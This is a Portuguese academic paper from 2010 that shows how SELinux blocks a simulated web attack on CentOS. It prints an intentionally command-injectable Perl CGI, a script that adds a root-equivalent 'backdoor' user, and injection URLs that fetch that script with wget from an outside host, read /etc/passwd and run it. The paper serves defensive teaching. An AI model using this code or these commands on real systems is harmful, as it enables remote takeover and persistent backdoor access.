Reforçando a segurança do Linux com o SELinux Heitor Augusto Murari Cardozo Curso de Especialização em Redes e Segurança de Sistemas Pontifícia Universidade Católica do Paraná Curitiba, outubro de 2010. Resumo O objetivo deste artigo é apresentar os conceitos envolvidos nos mecanismos de controle de acesso do Linux e introduzir a ferramenta de segurança SELinux, desenvolvido pela Agência Nacional de Segurança dos Estados Unidos. Ao longo do trabalho, serão abordados os procedimentos de configuração e análise de arquivos logs, baseados em uma simulação de ataque a uma aplicação Web vulnerável, pela qual poderemos esclarecer o funcionamento da ferramenta e comprovar sua eficácia. 1 Introdução O modelo convencional de segurança do Linux, restrito basicamente às permissões de acesso no formato user-group-others, é uma característica que remonta ao surgimento dos sistemas Unix. Embora essas permissões sejam relativamente simples de entender, elas não são suficientes para bloquear determinados tipos de ataques, que só poderiam ser evitados com um sistema de segurança mais sofisticado. Visando exatamente preencher as lacunas no sistema de segurança do Linux, a Agência Nacional de Segurança dos Estados Unidos - NSA empenhou-se para programar algumas modificações no kernel que acrescentam uma camada de segurança mais especializada. Esse conjunto de modificações ficou conhecido como Security-Enhanced Linux (Segurança aprimorada do Linux), ou simplesmente SELinux. Anteriormente restrito a pesquisas acadêmicas e sistemas críticos, nos últimos anos o SELinux recebeu contribuições de empresas como Red Hat e IBM, estabelecendo-se como uma importante alternativa para melhorar a segurança das principais distribuições Linux corporativas. 2 DAC versus MAC Antes de qualquer explicação específica sobre o SELinux, é essencial esclarecer o conceito mais abrangente no qual se insere: os mecanismos de controle de acesso (ACM). Entre um número razoável de mecanismos existentes para diferentes tipos de sistemas, destacam-se os dois mais comuns que estarão envolvidos no trabalho, o DAC (Controle de acesso discricionário) e o MAC (Controle de acesso obrigatório). O DAC, apesar de ser uma sigla pouco conhecida, é o mecanismo de controle de acesso mais popular, padrão em todos os principais sistemas operacionais para servidores. Ele é o típico controle de acesso por permissões que conhecemos nos sistemas Unix e Windows, baseado na noção de que usuários individuais são os donos (owner) dos objetos e, portanto, têm controle (discrição) total de quem tem as permissões para acessá-los. Por exemplo, se um usuário é o dono de um arquivo, ele poderá conceder a outro usuário, ou grupo de usuários, a permissão para acessá-lo em qualquer modo de operação (leitura, gravação e execução). Posteriormente, ele poderá revogar essa permissão a qualquer momento. Enquanto o ponto-chave do DAC é o fato de que os usuários são considerados donos do objeto e responsáveis pelas suas permissões de acesso [1], o mecanismo MAC prevê que usuários individuais não têm escolha em relação às permissões de acesso que eles possuem ou que objetos podem acessar. No MAC, apenas os administradores do sistema têm controle sobre as políticas de segurança, que são definidas em nível organizacional. Ao contrário do DAC, os usuários não podem modificar as políticas definidas no MAC, seja acidental ou intencionalmente. Isso garante que o administrador defina uma política de segurança centralizada que, em princípio, é aplicada a todos os usuários do sistema. É exatamente o MAC o mecanismo de controle de acesso no qual se baseia o SELinux. 3 Visão geral do SELinux O kernel do Linux integrado com o SELinux cria um mecanismo de controle de acesso obrigatório (MAC) que confina os programas dos usuários e serviços a um conjunto mínimo de permissões de acesso que eles requerem para o seu modo de operação. Isso reduz ou elimina a possibilidade desses programas e serviços causarem danos quando comprometidos, através, por exemplo, de uma falha de buffer overflow ou uma configuração incorreta. [2] O SELinux tem dois componentes importantes em seu sistema. Existe o mecanismo do kernel que impõe um conjunto de políticas de acesso que se aplica aos processos e arquivos. E, em segundo lugar, há rótulos de arquivo: todos os arquivos do sistema têm rótulos extras ligados a ele que o amarram com as políticas de acesso. O comando “ls –Z” listará os rótulos dos arquivos do diretório corrente. [3] Importante deixar claro que o SELinux não substitui o tradicional mecanismo de controle de acesso DAC do Linux. Ele, simplesmente, complementa-o, verificando se uma determinada operação é permitida após as permissões padrões do usuário já terem sido checadas. O propósito de um kernel com SELinux é proteger todo o sistema contra aplicativos maléficos ou defeituosos que possam comprometê-lo ou danificá-lo, em situações de ataque onde o sistema tradicional de permissões é incapaz de impedir. Por exemplo, um processo rodando com o usuário root, de acordo com as premissas do mecanismo DAC, é um processo que tem permissão para ler e escrever em qualquer arquivo do sistema. Um atacante poderá conseguir acesso aos arquivos do sistema explorando uma vulnerabilidade no servidor de e-mail com privilégios do usuário root, como, por exemplo, o sendmail. Isso irá permitir, em tese, que o atacante modifique através do servidor de e-mail vulnerável o arquivo de senhas /etc/passwd, mesmo que esse servidor de e-mail, em seu funcionamento normal, nunca precise escrever nesse arquivo. Precisamente nesse ponto, o SELinux irá adicionar um controle de acesso mais refinado. O servidor de e-mail continuará sendo executado como root, porém, o sistema irá evitar que ele modifique os arquivos que não fazem parte de sua operação. 4 SELinux na prática Tomando como exemplo o Red Hat Enterprise Linux 4 - primeira distribuição comercial a adotar o SELinux - a configuração padrão já define políticas de segurança específicas para proteger determinados servidores (daemons), como o Apache, dhcpd, portmap, named, dentre outros. Esse modelo ajudou a amadurecer o SELinux que foi melhor incorporado no Red Hat Enterprise Linux 5. Essa mesma distribuição, que se dedica bastante no desenvolvimento e integração do SELinux, oferece algumas ferramentas para facilitar o gerenciamento das políticas e a análise de problemas decorrentes do SELinux, além de estar constantemente oferecendo novas políticas de segurança para proteger outras aplicações. Apesar de ser razoavelmente complexo, construir políticas de segurança personalizadas é absolutamente possível para o administrador de sistemas. Contudo, utilizar as políticas padrões de uma distribuição, geralmente, é a melhor alternativa. A complexidade do SELinux, combinada, principalmente, a alguns problemas de compatibilidade, são fatores que dificultam sua adoção nos servidores. Cabe à distribuição facilitar essa tarefa e predefinir regras que atendam às principais necessidades dos diferentes tipos de sistemas. A seguir, descreveremos um cenário para simularmos um ataque em uma aplicação Web e depois daremos um exemplo de configuração do SELinux, baseada na distribuição CentOS 5.5 - compatível com o Red Hat Enterprise 5. Por fim, faremos uma análise dos logs após a tentativa do ataque e confirmaremos o bloqueio através desse mecanismo de segurança. 4.1 O cenário Para mostrarmos o funcionamento do SELinux, consideremos um servidor Web com as seguintes características: Endereço IP: 189.77.232.10 Sistema Operacional: CentOS 5.5 Servidor Web: Apache 2.2 Linguagem: Perl 5.8.8 Nesse servidor, será instalada uma aplicação propositadamente vulnerável pela qual será possível executar comandos no servidor remotamente. Através de uma configuração do Apache, iremos alterar seu usuário de execução para root, possibilitando o controle total do sistema. Essa configuração visa simular a escalada de privilégios através de uma vulnerabilidade do sistema. Em um primeiro momento, o ataque será feito com o SELinux desabilitado para confirmarmos a possibilidade, depois, iremos configurá-lo e analisaremos os resultados com as devidas políticas de segurança habilitadas. 4.2 O ataque O script Perl abaixo foi desenvolvido para permitir a execução de comandos no servidor. Apesar de ter sido criado especificamente para ilustrarmos o ataque e, portanto, ter pouca utilidade prática, muitas aplicações Web possuem vulnerabilidades que tornam possíveis esse tipo de ação. Um exemplo são aplicações PHP que não filtram os parâmetros de entrada e aceitam a execução de scripts remotos, pela qual um atacante poderia executar comandos no servidor usando a função exec(). #!/usr/bin/perl use CGI qw(:standard); $cmd = param('cmd'); $result=`$cmd`; print <<END; Content-Type: text/html; charset=iso-8859-1 <h1>Resultado do comando:</h1> <p>$result</p> END Considerando a vulnerabilidade exposta da aplicação CGI, nossa simulação de ataque consistirá nos seguintes passos: 1. Explorar a falha da aplicação Web; 2. Escalar os privilégios do usuário do Apache; 3. Adicionar um usuário com privilégios de administrador; 4. Acessar o sistema remotamente com o novo usuário. 4.2.1 Explorar a falha da aplicação Web A aplicação Web foi instalada no servidor e está publicamente disponível no endereço http://189.77.232.10/cgi-bin/myapp.cgi. Como essa aplicação aceita um argumento que permite a execução de qualquer comando no servidor, poderíamos, por exemplo, verificar o conteúdo do arquivo /etc/passwd acessando o seguinte endereço: http://189.77.232.10/cgi-bin/myapp.cgi?cmd=cat%20/etc/passwd Em vista dessa possibilidade, por essa aplicação iremos obter de outro servidor remoto o script shell abaixo, preparado para criar um usuário chamado backdoor no sistema com os mesmos privilégios do usuário root: #!/bin/sh # cria o usuário backdoor /usr/sbin/adduser -u 12000 backdoor # modifica a senha do usuário backdoor para "password" echo "password" | /usr/bin/passwd --stdin backdoor # modifica o UID/GID do usuário backdoor para ter os mesmos privilégios do # usuário root /bin/sed -i 's/12000/0/g' /etc/passwd Para salvarmos esse script no diretório /tmp do servidor Web, usaremos o comando wget para obtê-lo do servidor remoto, conforme abaixo: http://189.77.232.10/cgi-bin/myapp.cgi?cmd=wget%20ha-mc.org/script.sh%20O%20/tmp/script.sh Nesse momento, já temos o script /tmp/script.sh que será executado para criarmos o usuário no sistema. No entanto, como o usuário padrão do Apache não permite a execução dos comandos usados no script, será necessário, primeiro, escalarmos seus privilégios. 4.2.2 Escalar os privilégios do usuário do Apache Atualmente, é muito comum a escalada de privilégios em sistemas GNU/Linux devido a diferentes falhas descobertas no kernel. Da mesma forma que baixamos o script de criação de usuário, poderíamos, por exemplo, baixar um exploit e explorar uma falha do sistema para escalarmos os privilégios de execução do Apache para os mesmos privilégios do usuário root. Supondo a existência de uma falha como essa, iremos alterar a execução do Apache para root através da própria configuração, o que, na prática, surtirá o mesmo efeito de um exploit que escala privilégios. Essa configuração é feita alterando para root os parâmetros User e Group no arquivo /etc/httpd/conf/httpd.conf. 4.2.3 Adicionar um usuário com privilégios de administrador Nesse momento, já podemos executar o script /tmp/script.sh com privilégios de root e criar, assim, o usuário backdoor. Usaremos então a aplicação Web para executá-lo: http://189.77.232.10/cgi-bin/myapp.cgi?cmd=/bin/sh /tmp/script.sh A aplicação confirma, através do resultado do comando, que o usuário foi criado com sucesso. Figura 1: Resultado da execução do script /tmp/script.sh 4.2.4 Acessar o sistema remotamente com o novo usuário Finalmente, usando o SSH, acessamos o servidor remoto com o usuário backdoor e confirmarmos que seus privilégios são os mesmos do usuário root: $ ssh [email protected] # id uid=0(root) gid=0(root) groups=0(root) context=user_u:system_r:unconfined_t Podemos, então, considerar que o ataque foi bem sucedido. Mostramos que, sem nenhum mecanismo de segurança adicional no Linux, uma falha na aplicação Web e no sistema operacional é suficiente para obtermos o controle total do sistema remotamente. 4.3 Configurando o SELinux Especificamente na distribuição CentOS 5.5, muitas políticas de segurança do SELinux são impostas por padrão para os principais serviços, além disso, existem muitas opções (chamadas de booleanos) que permitem refinar a configuração de segurança do SELinux para o Apache. De modo geral, existem três modos de funcionamento do SELinux: Enforcing - O SELinux impõe todas as políticas de segurança. Permissive - O SELinux emite os avisos, mas não impõe as políticas de segurança. Isso é útil para depuração e identificação de problemas. No modo permissive, mais erros de acesso são identificados porque os objetos podem continuar com as ações que seriam negadas no modo enforcing. Disabled - O SELinux é totalmente desativado. Primeiramente, iremos configurar o SELinux no modo permissive e manteremos o padrão das opções de segurança do Apache. Dessa maneira, poderemos analisar os logs quando for executado o script usado no ataque. Para configurarmos o SELinux no modo permissive: # setenforce permissive 4.4 Analisando os logs Agora no modo permissive, vamos executar novamente o script de criação de usuário e analisarmos os logs do SELinux produzidos pela ferramenta setroubleshoot [4] no arquivo /var/log/messages: Nov 15 22:22:32 setroubleshoot: SELinux está impedindo o comando adduser (httpd_sys_script_t) para a função "create" para <Desconhecido> (httpd_sys_script_t). Nov 15 22:22:32 setroubleshoot: SELinux está impedindo o comando adduser (httpd_sys_script_t) para a função "write" para ./etc (etc_t). Nov 15 22:22:33 setroubleshoot: SELinux está impedindo que o comando adduser acesse o arquivo com rótulo proibido ./shadow (shadow_t). Nov 15 22:22:33 setroubleshoot: SELinux está impendido o comando passwd (httpd_sys_script_t) para a função "compute_av" para <Desconhecido> (security_t). Nov 15 22:22:33 setroubleshoot: SELinux está impedindo que o comando passwd acesse o arquivo com rótulos proibido ./cracklib (crack_db_t). Ou seja, apesar dos comandos terem sido executados com sucesso, descobrimos, através do log, que o SELinux negaria o acesso a vários recursos que, se estivesse no modo enforcing, impossibilitaria a execução dos comandos adduser e passwd através da aplicação Web, mesmo ela sendo executada com os privilégios de root. A ferramenta setroubleshoot ainda fornece comandos para facilitar a interpretação desses logs e entender exatamente o que está sendo bloqueado. A seguir, o resultado do comando sealert com mais detalhes a respeito da primeira linha do log anterior: Resumo: SELinux está impedindo o comando adduser (httpd_sys_script_t) para a função "create" a <Desconhecido> (httpd_sys_script_t). Descrição detalhada: [SELinux em modo permissive, a operação teria sido negada, mas foi permitida devido ao modo permissive] SELinux impediu o acesso requisitado por adduser. Não se espera que esse acesso seja exigido por adduser e esse acesso pode sinalizar uma tentativa de intrusão. É também possível que a versão específica ou a configuração do aplicativo esteja causando esse erro para exigir o acesso adicional. Fica claro que nosso script de criação de usuário teria problemas para executar o comando adduser, se o SELinux estivesse no modo enforcing. Vamos, agora, aplicar esse modo e verificar o comportamento da aplicação. 4.5 Modo enforcing Para configurarmos o SELinux no modo enforcing: # setenforce enforcing Nesse modo, o SELinux impõe todas as suas políticas de segurança, negando qualquer acesso a recursos não autorizados por uma determinada aplicação. Agora, ao tentarmos executar o script pela aplicação Web, não obtemos mais o resultado do comando, e o log do servidor Apache nos informa o seguinte: [Mon Nov 15 00:24:40 2010] [erro] [cliente 192.168.1.8] /tmp/script.sh: linha 4: /usr/sbin/adduser: Permissão negada [Mon Nov 15 00:24:40 2010] [erro] [cliente 192.168.1.8] /bin/sed: não foi possível abrir o arquivo temporário /etc//sed2Jmp8L: Permissão negada Mesmo com a escalada de privilégios do Apache, conseguimos conter um ataque ao sistema e negar qualquer acesso que possa prejudicar os demais serviços do servidor ou abrir portas para outros tipos de ataques. Ainda usando a aplicação Web, vamos tentar algo mais simples como ler o arquivo de log em /var/log/messages, usando o endereço: http://189.77.232.10/cgi-bin/myapp.cgi?cmd=cat%20/var/log/messages A aplicação Web, de novo, não mostra nenhum resultado para o comando, e os logs apresentam as seguintes mensagens: Log do Apache: [Mon Nov 15 23:58:33 2010] [erro] [cliente 192.168.1.6] cat: /var/log/messages: Permissão negada Log do SELinux: Nov 15 23:58:33 setroubleshoot: SELinux está impedindo que o comando cat acesse o arquivo com rótulo proibido ./messages (var_log_t). O SELinux proibiu o acesso de leitura a um arquivo de log do sistema por uma aplicação que, caso estivéssemos usando apenas o mecanismo de acesso tradicional , teria total acesso ao sistema. 5. Conclusão Nosso estudo de caso mostrou os benefícios de um mecanismo de controle de acesso MAC com base em uma simulação de ataque relativamente simples e, atualmente, trivial, além de ressaltar a importância do SELinux para proteger serviços críticos, principalmente aqueles publicamente expostos na Internet. Graças aos esforços dos desenvolvedores, o SELinux conseguiu chamar a atenção das principais distribuições Linux corporativas, além de grandes empresas que atualmente apoiam seu desenvolvimento. Hoje, ele se projeta como uma alternativa pragmática para ambientes computacionais de qualquer porte, onde a preocupação com a segurança e confidencialidade das informações é uma questão de sobrevivência. Para o futuro, o desenvolvimento do SELinux dá pistas de que ruma para a consolidação desse modelo de controle de acesso nos servidores, abrangendo uma variedade maior de aplicações e alcançando compatibilidade com os mais diversos ambientes. Um dos objetivos é reforçar as ferramentas para gerenciamento das políticas de segurança, o que consequentemente resultaria em facilidade de gerenciamento e desenvolvimento de novas políticas para proteger outros tipos de serviços. Bibliografia [1] Wikipédia. Discretionary access control. Disponível em: <http://en.wikipedia.org/wiki/Discretionary_Access_Control>. Acesso em: 03 nov. 2010. [2] Wikipédia. Security-Enhanced Linux. Disponível em: <http://pt.wikipedia.org/wiki/SELinux>. Acesso em 07 nov. 2010. [3] Crypt.Gen.NZ. How to Disable SELinux. Disponível em: <http://www.crypt.gen.nz/selinux/disable_selinux.html>. Acesso em 15 nov. 2010. [4] Fedora Hosted. SELinux Trouble Shooting Tool. Disponível em: <https://fedorahosted.org/setroubleshoot/wiki/SETroubleShoot%20Overview>. Acesso em 14 nov. 2010.